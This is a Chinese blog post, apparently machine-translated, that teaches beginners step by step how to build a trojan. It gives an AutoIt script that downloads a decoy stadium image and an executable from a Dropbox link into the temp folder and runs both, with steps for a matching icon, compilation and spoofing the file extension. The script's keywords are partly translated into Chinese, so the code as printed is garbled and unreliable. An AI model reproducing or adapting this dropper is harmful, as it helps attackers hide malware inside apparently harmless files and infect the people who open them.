教你做一个木马病毒（非常详细），零基础入门黑客技术，收藏这一篇就够了！_#include <staticconstants.au3> #include <windowsco-优快云博客

本文链接：https://blog.youkuaiyun.com/logic1001/article/details/145910391

文章目录

前言
- 什么是木马恶意软件？
- 创建我的木马恶意软件
- - 1. 获取图像和`.exe`文件的直接 URL
  - 2. 在脚本中使用 URL
  - 3. 为文件创建图标
  - 4. 编译脚本
  - 5. 欺骗“.exe”扩展名到任何扩展名
1️⃣网络安全/黑客零基础入门
- ① 学习路线
- ② 路线对应学习视频
2️⃣视频配套资料&国内外网安书籍、文档
- ① 文档和书籍资料
- ② 网络安全/黑客学习视频
3️⃣网络安全源码合集+工具包
4️⃣网络安全面试题
资料领取

前言

特洛伊木马（或特洛伊木马）是可能感染您的计算机或移动设备的最常见和最危险的威胁类型之一。

在这里插入图片描述

什么是木马恶意软件？

木马恶意软件，打开时似乎是用户打开的合法文件，例如打开图像或文档或播放媒体文件，但在后台，它会运行一些邪恶的进程，例如有人可能通过后门或注入一些其他有害代码。

创建我的木马恶意软件

在这篇博客中，我将向您展示如何将我的可执行文件与图像文件结合起来，并且在打开时，它能够在目标人打开它时显示图像，但同时可执行文件在后台运行。简而言之，我将.exe文件隐藏在.jpg图像文件中。

此方法可以扩展到任何文件类型，如图像、pdf、音乐等。大多数情况下，可执行文件是病毒或用于访问目标计算机的后门。我们来看看步骤：

1. 获取图像和`.exe`文件的直接 URL

可执行文件.exe需要出现在公开可用的 URL 上，浏览器可以从该 URL 直接下载该可执行文件。为此，我已将可执行文件上传到 Dropbox 上。对于 dropbox，将可共享链接的末尾部分修改为dl=1将允许浏览器直接下载文件。我在下面共享的链接不包含任何代码，实际上是一个空文件，因此您可以安全地测试此链接的行为。

可执行文件的 URL .exe：https://www.dropbox.com/s/hsnvw0ik1em0637/some_evil_file.exe ?dl=1

图片的网址：

在这里插入图片描述

体育场馆形象

我使用了体育场馆的图像作为封面。

2. 在脚本中使用 URL

#include <StaticConstants.au3>   
#include <WindowsConstants.au3>本地 $urls = "url1,url2"本地 $urlsArray = StringSplit($urls, ",", 2 )对于 $url 在 $urlsArray   
$sFile = \_DownloadFile($url)   
shellExecute($sFile)下一个Func \_DownloadFile($sURL)  
    本地 $hDownload, $sFile   
    $sFile = StringRegExpReplace($sURL, "^.\*/", "")   
    $sDirectory = @TempDir & $sFile   
    $hDownload = InetGet($sURL, $sDirectory, 17 , 1)   
    InetClose($hDownload)  
    返回 $sDirectory   
EndFunc ;==>\_GetURLImage

在上面代码的第 3 行中，替换url1为图像的 URL 和url2可执行文件的 URL。我的最终代码如下所示

#include <StaticConstants.au3>   
#include <WindowsConstants.au3>  
本地 $urls = " https://images.adsttc.com/media/images/5b04/5e3a/f197/cc1f/9600/00aa/newsletter/park\_garden\_concourse.jpg ,https://www.dropbox.com/s/hsnvw0ik1em0637/some\_evil\_file.exe?dl=1 "  
本地 $urlsArray = StringSplit($urls, ",", 2 )  
对于 $url 在 $urlsArray   
$sFile = \_DownloadFile($ url)   
shellExecute($sFile)   
Next   
Func \_DownloadFile($sURL)  
    本地 $hDownload, $sFile   
    $sFile = StringRegExpReplace($sURL, "^.\*/", "")   
    $sDirectory = @TempDir & $sFile   
    $hDownload = InetGet ($sURL, $sDirectory, 17, 1)   
    InetClose($hDownload)  
    返回 $sDirectory   
EndFunc ;==>\_GetURLImage

使用扩展名保存文件.au3。我已将该文件命名为trojan.au3.

3. 为文件创建图标

由于我使用图像作为封面文件，Windows通常将图像的缩略图显示为文件图标，因此我将使用体育综合体图像作为图标并将其转换为.ico格式。你可以用谷歌搜索它，你会发现很多工具可以做到这一点。我使用这个网站 - https://cloudconvert.com/jpg-to-ico

4. 编译脚本

该脚本是用一种称为的脚本语言编写的AutoIt。AutoIt要在 Ubuntu 中安装，您可以安装wine并安装AutoIt，或者如果您想要一种简单的方法，请Veil按照此处提到的步骤进行安装https://www.javatpoint.com/installing-veil。AutoIt将在其中一个步骤中进行安装，然后您可以退出安装。

打开编译 AutoIt 应用程序。该窗口应类似于下图所示的框。输入文件的位置trojan.au3和文件的路径.ico。

在这里插入图片描述